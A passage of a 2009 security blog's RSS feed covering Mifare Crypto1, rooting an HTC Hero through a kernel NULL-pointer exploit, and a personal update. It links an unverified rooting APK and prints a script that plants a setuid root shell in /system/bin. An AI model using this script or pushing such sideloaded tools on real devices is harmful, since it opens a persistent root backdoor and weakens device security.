<div id="attachment_416" class="wp-caption aligncenter" style="width: 310px"><a href="http://www.limited-entropy.com/wp-content/uploads/2009/10/crypto1.png"><img class="size-medium wp-image-416" title="Crypto1 - Detailed structure" src="http://www.limited-entropy.com/wp-content/uploads/2009/10/crypto1-300x75.png" alt="Crypto1 - Detailed structure" width="300" height="75" /></a><p class="wp-caption-text">Crypto1 - Detailed structure</p></div>
<p style="text-align: left;">Each of the hexadecimal numbers identifying the filter functions should be read as a bitmap where the left-most bit will be produced as an output of the filter function when the input was <em>all-ones</em> while the right-most bit will be produced as an output when the input was <em>all-zero</em>. For instance, 0x26c7 in binary form would be:</p>
<p style="text-align: center;">0010 0110 1100 0111</p>
<p style="text-align: left;">Which means that for inputs (1,1,1,1), (1,1,1,0), (1,1,0,0), (1,0,0,1), (0,1,1,0), (0,1,0,1)  and (0,1,0,0) the result of the filter function would be 0, and 1 otherwise.</p>
<p><strong>Links<br />
</strong></p>
<p>This completes the description of the Crypto1 cipher used by Mifare Classic chips. I don't want to get into more details about the structure of the cipher and the protocol, because I didn't look at it in depth amongst other reasons, so for more information you can follow these links:</p>
<p><a href="http://www.cs.virginia.edu/~evans/pubs/usenix08/usenix08.pdf">Reverse-Engineering a Cryptographic RFID Tag - Karsten Nohl et al. Usenix'08</a></p>
<p><a href="http://www.sos.cs.ru.nl/applications/rfid/2008-esorics.pdf">Dismantling MIFARE Classic - Flavio D. Garcia et al. (RU Nijmegen). Esorics'08</a></p>
<p><a href="http://www.cs.ru.nl/~erikpoll/hw/slides/2008-12-01%20Mifare%20Lecture.pdf">Lecture on Mifare Classic from HW and OS Security course at RU Nijmegen</a></p>
<div id="flaresmith" class="feedflare"><script src="http://feeds.feedburner.com/~s/LimitedEntropyDotCom?i=http://www.limited-entropy.com/crypto-series-mifare-crypto1" type="text/javascript" charset="utf-8"></script></div><img src="http://feeds.feedburner.com/~r/LimitedEntropyDotCom/~4/mq3yP4T2vmQ" height="1" width="1"/>]]></content:encoded>
			<wfw:commentRss>http://www.limited-entropy.com/crypto-series-mifare-crypto1/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		<feedburner:origLink>http://www.limited-entropy.com/crypto-series-mifare-crypto1</feedburner:origLink></item>
		<item>
		<title>My Hero Adventure (II) – How ‘to root’ your Android phone</title>
		<link>http://feedproxy.google.com/~r/LimitedEntropyDotCom/~3/EnbCmkPAZo0/mi-aventura-hero-ii</link>
		<comments>http://www.limited-entropy.com/mi-aventura-hero-ii#comments</comments>
		<pubDate>Sun, 11 Oct 2009 16:49:32 +0000</pubDate>
		<dc:creator>Eloi Sanfèlix</dc:creator>
				<category><![CDATA[General]]></category>
		<category><![CDATA[Android]]></category>
		<category><![CDATA[HTC Hero]]></category>

		<guid isPermaLink="false">http://www.limited-entropy.com/?p=423</guid>
		<description><![CDATA[In my previous post about the Hero I wrote about the structure of the system and commented how I got a root shell. In this post I'll tell you how to easily root your phone to be able to use applications that need root (admin/superuser) access in a VERY simple and easy way, without flashing [...]]]></description>
			<content:encoded><![CDATA[<p>In <a href="http://www.limited-entropy.com/en/my-hero-adventure">my previous post about the Hero</a> I wrote about the structure of the system and commented how I got a root shell. In this post I'll tell you how to easily <em>root</em> your phone to be able to use applications that need root (admin/superuser) access in a VERY simple and easy way, without flashing recovery images or anything, just by installing an application and performing a <em>click</em>.</p>
<p>I tried it on my Hero with the latest HTC update, but it should work with any Android system with a kernel version up  to 2.6.30.4. If you give it a try, give me feedback!</p>
<p><strong>The application: Rooter</strong></p>
<p>To assist myself in the <em>rooting</em> process I modified the <a href="http://code.google.com/p/flashrec/">FlashRec</a> application by Christopher Lais, which uses an exploit for a <em>NULL pointer dereference</em> vulnerability in the Linux kernel (&lt;= 2.6.30.4) in order to obtain backups of the flash memory and to flash new custom ROMs.</p>
<p>In my case, I removed most of FlashRec's code and only left there the stuff that was needed for my application: a couple of buttons and a <em>TextView</em> to show information about the result of the process.</p>
<div id="attachment_426" class="wp-caption aligncenter" style="width: 210px"><a href="http://www.limited-entropy.com/wp-content/uploads/2009/10/Rooter.png"><img class="size-medium wp-image-426" title="Rooter" src="http://www.limited-entropy.com/wp-content/uploads/2009/10/Rooter-200x300.png" alt="Rooter" width="200" height="300" /></a><p class="wp-caption-text">Rooter</p></div>
<p>The <em>Create rootshell </em>button creates a setuid root shell in <em>/system/bin/rootsh</em> which you can use from the terminal, while the <em>Extract SuperUser</em> button extracts a <em>Superuser.apk</em> tool and an implementation of <em>su</em> to their respective directories. These applications are also from Christopher Lais I believe, and I didn't check their source code although I tried them out on the emulator and everything seems to be fine. As usual, all this comes without any warranty <img src='http://www.limited-entropy.com/wp-includes/images/smilies/icon_wink.gif' alt=';-)' class='wp-smiley' /> .</p>
<p>From then on, an <em>Intent</em> (a message between Android's applications) will be sent to the <em>Superuser.apk</em> application each time a root request is performed using <em>su</em>. So, the user will be able to Allow once or always the requesting app. or to deny once or always.</p>
<p><strong>Installing and running Rooter</strong></p>
<p>Installing the application cannot be easier. Since I didn't upload it into the Market because I have no interest at all on doing so, you can download it from <a href="http://www.limited-entropy.com/docs/Rooter.apk">here</a> and store it in your phone's SD card (I'm assuming you know how to <img src='http://www.limited-entropy.com/wp-includes/images/smilies/icon_wink.gif' alt=';-)' class='wp-smiley' /> ). Once that's done, install a file manager if you don't have one yet. For instance Linda File Manager is available for free from the Market.</p>
<p>Using Linda File Manager, go to your SD card and find the Rooter.apk file. Clicking on it, choose to open it with <em>Package Installer</em>. At this point, it is possible that you need to enable the option to allow installation of apps from unknown sources in <em>Settings &gt; Application settings &gt; Unknown sources</em>.</p>
<p>Once enabled, accept and go back to Linda File Manager by pressing <em>Back</em> in your phone. Once there you can click again on Rooter.apk and now you will be able to install it. Once it's installed, press <em>Open </em>and the application will be launched. The only step left is to press <em>Extract SuperUser</em> and you'll have your Hero <em>rooted</em>. Now you can install applications that require root access such as <em>Wifi theter</em> <img src='http://www.limited-entropy.com/wp-includes/images/smilies/icon_smile.gif' alt=':-)' class='wp-smiley' /> .</p>
<p>Easy, isn't it?</p>
<p><strong>Source code</strong></p>
<p>For the curious reader, I've also uploaded the source code of the application <a href="http://www.limited-entropy.com/docs/rooter.tgz">here</a>.</p>
<div id="flaresmith" class="feedflare"><script src="http://feeds.feedburner.com/~s/LimitedEntropyDotCom?i=http://www.limited-entropy.com/mi-aventura-hero-ii" type="text/javascript" charset="utf-8"></script></div><img src="http://feeds.feedburner.com/~r/LimitedEntropyDotCom/~4/EnbCmkPAZo0" height="1" width="1"/>]]></content:encoded>
			<wfw:commentRss>http://www.limited-entropy.com/mi-aventura-hero-ii/feed</wfw:commentRss>
		<slash:comments>16</slash:comments>
		<feedburner:origLink>http://www.limited-entropy.com/mi-aventura-hero-ii</feedburner:origLink></item>
		<item>
		<title>My Hero adventure (I)</title>
		<link>http://feedproxy.google.com/~r/LimitedEntropyDotCom/~3/5uwNAlqpN58/my-hero-adventure</link>
		<comments>http://www.limited-entropy.com/my-hero-adventure#comments</comments>
		<pubDate>Sun, 04 Oct 2009 17:31:21 +0000</pubDate>
		<dc:creator>Eloi Sanfèlix</dc:creator>
				<category><![CDATA[General]]></category>
		<category><![CDATA[Android]]></category>
		<category><![CDATA[HTC Hero]]></category>

		<guid isPermaLink="false">http://www.limited-entropy.com/?p=401</guid>
		<description><![CDATA[So yes, I bought an HTC Hero a couple of weeks ago and I've been investigating it and looking around to see what's been happening in the android scene (let's call it this way ). In this post I'm going to summarize what I discovered during my first days with the device... and will be [...]]]></description>
			<content:encoded><![CDATA[<p>So yes, I bought an HTC Hero a couple of weeks ago and I've been investigating it and looking around to see what's been happening in the <em>android scene </em>(let's call it this way <img src='http://www.limited-entropy.com/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' />  ). In this post I'm going to summarize what I discovered during my first days with the device... and will  be followed by more updates because its edition is taking more time than I thought <img src='http://www.limited-entropy.com/wp-includes/images/smilies/icon_wink.gif' alt=';-)' class='wp-smiley' /> .</p>
<p>First things first, the HTC Hero is a <em>smartphone</em> from HTC running a modified <a href="http://www.android.com">Android OS</a>. It has a customized UI by HTC, multi-touch screen and browser with built-in flash support. Here is a small summary of the specifications:</p>
<ul>
<li>Processor: Qualcomm MSM7200A, 528 MHz</li>
<li>Memory: 512 MB ROM and 288 MB RAM</li>
<li>Quad-Band GSM/GPRS/EDGE and HSPA/WCDMA network connectivity</li>
<li>GPS, Wi-Fi IEEE 802.11 b/g, Bluetooth</li>
<li>Camera 5 Mpixel</li>
<li>...</li>
</ul>
<p><strong>Android development</strong></p>
<p>Android provides a Java API for application development. Applications are normally implemented in Java, although it is possible to run ELF binaries compiled for ARM since it runs a Linux kernel. You can find all the documentation you need to start developing for the Android in <a href="http://developer.android.com/">http://developer.android.com/</a>.</p>
<p>With the Hero, as with any other Android device I know of, you can enable USB debugging for development and use the tools in the Android SDK to connect to the device, upload applications and run them. Furthermore, the SDK provides an Eclipse plugin that makes it certainly easy to manage. You just press 'run as Android application' and it will run in your phone or in an emulator if no phone is connected.</p>
<p>However, the <em>adb shell</em> commands provides you a shell under the <em>shell</em> user and there is <em>no</em> <em>way </em>to get root.</p>
<p><strong>Getting root shell access in my Hero<br />
</strong></p>
<p>Didn't you say no way? Well... that's why it's written in italics <img src='http://www.limited-entropy.com/wp-includes/images/smilies/icon_wink.gif' alt=';-)' class='wp-smiley' /> . Looking around I found references and howtos for rooting the Hero using the <em>fastboot</em> utility and flashing a recovery image into the phone. However I didn't have the sources used for creating this image so I decided to hold this for a while until I could actually look what was in there.</p>
<p>After some more reading, I also found the FlashRec utility which can be used to flash recovery images without having to reboot into <em>flashboot</em> mode and send it manually. And the source code was available! That sounds like a good oportunity to learn how things work in the Android world... so I downloaded the sources and started reading through them.</p>
<p>As it turns out, this FlashRec tool uses the <em>sock_sendpage</em> exploit for the Android, which sounds like fun <img src='http://www.limited-entropy.com/wp-includes/images/smilies/icon_wink.gif' alt=';-)' class='wp-smiley' /> . So it includes an<em> as_root</em> binary which takes a template for a temporary file as its first argument, and then the command to be executed as root; when you press the 'flash' button, it just runs a flash_image binary included with Android but only executable for root.</p>
<p>But hey... do we really want to flash a recovery image? Well... it depends. In my case, I did because I wanted to install the new HTC Hero firmware update and I didn't have a handy Windows. But if that's not your case and you just want to obtain root, why don't you use this exploit to create a root shell?</p>
<p>You guessed it, that's what I did next <img src='http://www.limited-entropy.com/wp-includes/images/smilies/icon_smile.gif' alt=':-)' class='wp-smiley' /> . I just shrinked the FlashRec tool removing everything I didn't need, and made it execute a shell script that copied the<em> /system/bin/sh</em> shell into<em> /system/bin/rootsh </em>and gave it <em>setuid root</em> permissions. However, it took me quite a while to realize that there was no <em>cp</em> on this system! And it was because the <em>ash</em> shell it ships doesn't say <em>Command not found </em>when you type in cp as a non-privileged user, but <em>Permission denied.</em></p>
<p>So my final script looked  like this:</p>
<p><code><br />
mount -o remount /dev/mtdblock3 /system<br />
cat /system/bin/sh &gt; /system/bin/rootsh<br />
chmod 04755 /system/bin/rootsh<br />
mount -o remount,ro /dev/mtdblock3 /system<br />
exit 0</code></p>
<p>And after executing it I got the root shell waiting for me in /system/bin/rootsh. I only had to connect through <em>adb</em> and then run <em>rootsh</em>.</p>
<p><code><br />
~ tuxed$ adb shell<br />
* daemon not running. starting it now *<br />
* daemon started successfully *<br />
$ rootsh<br />
#<br />
</code></p>
<p><strong>Investigating the system structure</strong></p>
<p>Well, we are in, now what? Let's take a look at the system structure: filesystems, shell, installed applications, etc. Let's start by running a <em>mount</em> to see what filesystems are there:</p>
<p><code># mount<br />
rootfs / rootfs ro 0 0<br />
tmpfs /dev tmpfs rw,mode=755 0 0<br />
devpts /dev/pts devpts rw,mode=600 0 0<br />
proc /proc proc rw 0 0<br />
sysfs /sys sysfs rw 0 0<br />
tmpfs /sqlite_stmt_journals tmpfs rw,size=4096k 0 0<br />
/dev/block/mtdblock3 /system yaffs2 ro 0 0<br />
/dev/block/mtdblock5 /data yaffs2 rw,nosuid,nodev 0 0<br />
/dev/block/mtdblock4 /cache yaffs2 rw,nosuid,nodev 0 0<br />
/dev/block//vold/179:1 /sdcard vfat rw,dirsync,nosuid,nodev,noexec,uid=1000,gid=1000,fmask=0000,dmask=0000,allow_utime=0022,codepage=cp437,iocharset=iso8859-1,shortname=mixed,utf8 0 0<br />
#</code></p>
<p>Ok, we can see a read-only filesystem mounted in the root directory ( using rootfs ), the usual /dev and /proc stuff and three partitions of the NAND flash mounted over /system , /data and /cache. The first one of them is mounted read-only and the latter are mounted with read-write permissions but suid files and devices are forbidden in there. Finally, our SD card is mounted under /sdcard as a FAT partition with read-write permission, and suid, devices and execution of binaries is forbidden from that partition.</p>
<p>Now, you are probably wondering... what about the missing partitions in the flash? Honestly, I didn't know either... one of them is for sure the recovery partition, which is where the code for recovering the device in case of problems (i.e. reflashing it) is stored. It helps to avoid bricked devices <img src='http://www.limited-entropy.com/wp-includes/images/smilies/icon_wink.gif' alt=';-)' class='wp-smiley' /> . But how do we find out what is what?</p>
<p>What I did is first rebooting my hero, because the device was started a while ago and I wanted to see the complete boot log doing a simple <em>dmesg</em>. Then I did it, and scrolled up to find this:</p>
<p><code><br />
&lt;5&gt;[    4.765655] Creating 6 MTD partitions on "msm_nand":<br />
&lt;5&gt;[    4.766082] 0x024c0000-0x02500000 : "misc"<br />
&lt;5&gt;[    4.767425] 0x026c0000-0x02bc0000 : "recovery"<br />
&lt;5&gt;[    4.768890] 0x02bc0000-0x02e40000 : "boot"<br />
&lt;5&gt;[    4.770355] 0x02e40000-0x0d840000 : "system"<br />
&lt;5&gt;[    4.771820] 0x0d840000-0x15a40000 : "cache"<br />
&lt;5&gt;[    4.773162] 0x15a40000-0x20000000 : "userdata"<br />
</code></p>
<p>So we have 6 partitions in the NAND flash: misc, recovery, boot, system, cache and userdata. That makes for a 512 MB NAND flash memory, which matches the advertised size. Now, we have 3 of them mounted, one of them is identified as the recovery image and another one presumably conatins the boot loader. What is the "misc" partition then? Honestly, right now I have no clue but I guess we'll find out in a later post.</p>
<p>That's it for today. I'm stopping here because I feel that it's taking forever and I want to post this and move on for something else.</p>
<p>To be continued...</p>
<div id="flaresmith" class="feedflare"><script src="http://feeds.feedburner.com/~s/LimitedEntropyDotCom?i=http://www.limited-entropy.com/my-hero-adventure" type="text/javascript" charset="utf-8"></script></div><img src="http://feeds.feedburner.com/~r/LimitedEntropyDotCom/~4/5uwNAlqpN58" height="1" width="1"/>]]></content:encoded>
			<wfw:commentRss>http://www.limited-entropy.com/my-hero-adventure/feed</wfw:commentRss>
		<slash:comments>6</slash:comments>
		<feedburner:origLink>http://www.limited-entropy.com/my-hero-adventure</feedburner:origLink></item>
		<item>
		<title>Status update</title>
		<link>http://feedproxy.google.com/~r/LimitedEntropyDotCom/~3/mARNFrYTaPA/status-update</link>
		<comments>http://www.limited-entropy.com/status-update#comments</comments>
		<pubDate>Mon, 14 Sep 2009 20:26:36 +0000</pubDate>
		<dc:creator>Eloi Sanfèlix</dc:creator>
				<category><![CDATA[General]]></category>
		<category><![CDATA[personal]]></category>

		<guid isPermaLink="false">http://www.limited-entropy.com/?p=397</guid>
		<description><![CDATA[This is a quick note to give an update on my personal life and that kind of things . As some of you already know, I'll continue working in The Netherlands for one more year, until September 2010. The workplace will be the same, so I'll be working on smart cards and embedded devices, a [...]]]></description>
			<content:encoded><![CDATA[<p>This is a quick note to give an update on my personal life and that kind of things <img src='http://www.limited-entropy.com/wp-includes/images/smilies/icon_wink.gif' alt=';-)' class='wp-smiley' /> .</p>
<p>As some of you already know, I'll continue working in The Netherlands for one more year, until September 2010. The workplace will be the same, so I'll be working on smart cards and embedded devices, a little bit of Java programming and playing with interesting things such as fault injection (voltage/clock manipulation or laser radiation injection) and side channel analysis.</p>
<p>On the personal side (i.e. not work-related), at the end of June / beginning of July I went to Valencia for my summer holidays. I was at <a href="http://www.campus-party.org">Campus Party</a>, where I gave a <a href="http://www.youtube.com/watch?v=n9UCIML7Imk">presentation on smart card security</a> [audio in spanish, slides are in English] and I worked together with <a href="http://vierito.es/wordpress">Javi</a> and <a href="http://www.mapetitemort.com">Amin</a> to achieve the first position of the security wargame organized by <a href="http://www.securitybydefault.com">SbD</a>.</p>
<p>Since then, I've been playing soccer quite a bit with the new team as well as going out more than I expected (partly due to the soccer team), being the case that most of my friends from last year did go back to Spain or were still on holiday.</p>
<p>On the other hand, I've both an HTC Hero smartphone, which is something I've been wanting to do for a while now. Actually, it's a quite nice device and I've been tinkering with it and trying to discover how it all works. This means you can expect a related post in a few days... but for now a small preview:</p>
<blockquote><p>$ adb shell<br />
$ rootsh<br />
#</p></blockquote>
<p>Yes, I already got root on the device based on some information I found out there <img src='http://www.limited-entropy.com/wp-includes/images/smilies/icon_wink.gif' alt=';-)' class='wp-smiley' /> .</p>
<p>Finally, at the end of this week I'm going back home. First I'll go to Madrid, where I expect to gather with some of my Erasmus friends, some people from <a href="http://www.wadalbertia.org">Wadalbertia</a> and where I'll have my cousin's bachelor party. After this, I'll go to my village for the whole week... I'll try to schedule some post for you guys.</p>
<div id="flaresmith" class="feedflare"><script src="http://feeds.feedburner.com/~s/LimitedEntropyDotCom?i=http://www.limited-entropy.com/status-update" type="text/javascript" charset="utf-8"></script></div><img src="http://feeds.feedburner.com/~r/LimitedEntropyDotCom/~4/mARNFrYTaPA" height="1" width="1"/>]]></content:encoded>
			<wfw:commentRss>http://www.limited-entropy.com/status-update/feed</wfw:commentRss>
		<slash:comments>3</slash:comments>
		<feedburner:origLink>http://www.limited-entropy.com/status-update</feedburner:origLink></item>
	</channel>
</rss>
